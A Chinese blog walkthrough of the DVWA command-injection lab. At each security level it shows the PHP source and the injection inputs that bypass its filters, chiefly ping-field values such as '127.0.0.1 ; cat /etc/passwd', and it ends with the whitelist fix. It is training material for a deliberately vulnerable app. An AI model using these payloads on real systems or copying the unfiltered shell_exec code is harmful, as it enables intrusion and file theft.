dvwa-command-injection

命令注入漏洞是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序,
并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源。
PHP命令注入攻击中有一些具有命令执行功能的函数,system() exec() shell_exec() popen() ,可能存在命令注入漏洞。
在Linux中也有一些命令连接符 & | && || ;,也可能存在命令注入漏洞。

请求页面

让我们输入IP地址,那就用 127.0.0.1来小试一下
1691825424017

响应页面

1691826301450

low

请求

看到是POST请求,参数为 ip Submit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /vulnerabilities/exec/ HTTP/1.1
Host: localhost
Content-Length: 26
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vulnerabilities/exec/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=low; PHPSESSID=re4k3en5q4a2e9pqidrd3it4a3; security=low
Connection: close

ip=127.0.0.1&Submit=Submit

源码

可以看到,代码逻辑:根据操作系统类型,执行 ping命令并且将结果输出到网页。没有对用户输入进行过滤,这显然是非常危险的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

攻击思路

可以尝试用以下命令

符号 说明
A;B A 不论正确与否都会执行 B 命令,顺序执行
A&B A 后台运行,A 和 B 同时执行
A&&B A 执行成功时候才会执行 B 命令,逻辑与
A|B A 执行的输出结果,作为 B 命令的参数,管道符号
A||B A 执行失败后才会执行 B 命令,逻辑或
1
2
3
4
5
127.0.0.1 ; cat /etc/passwd
127.0.0.1 & cat /etc/passwd
127.0.0.1 && cat /etc/passwd
127.0.0.1 | cat /etc/passwd
233 || cat /etc/passwd

127.0.0.1 ; cat /etc/passwd 就用它吧,比较顺眼的分号,谁让它是我们常见的语句结束符;

1691831895442

medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

攻击思路

源码增加了对 && ; 这两种情况的过滤,但是仍然可以通过其他方式注入

1
2
3
127.0.0.1 & cat /etc/passwd
127.0.0.1 | cat /etc/passwd
aaa || cat /etc/passwd

high

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

攻击思路

源码进一步增加了输入过滤替换,几乎把命令连接符通通过滤了。但是,有意思的是管道符号后有个关键的空格 '| ' => '',,也就是说仍然可以通过管道符号进行命令注入

1
127.0.0.1|cat /etc/passwd

impossible

敲黑板,开始学习了!那个往外看的!

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

攻击思路

可以看到,对输入的 ip 进行了“残忍的肢解过滤再拼接”,等同于白名单过滤了。相当于,牛来了都只能被切开变成毛肚,牛排,牛肉片,最后在火锅游啊游。怎么感觉输入不过虑像是生吃牛肉一样,不生病才怪!

总结一下

实际上注入漏洞在很多方面都存在,比如说sql注入 反序列化 模板注入。根本上,注入得以实现就是利用了输入过滤的疏忽,可以这么说,注入是输入过滤的漏网之鱼。


dvwa-command-injection
http://blog.lingyuanming.site/2022/06/03/dvwa-command-injection/
作者
LYM
发布于
2022年6月3日
许可协议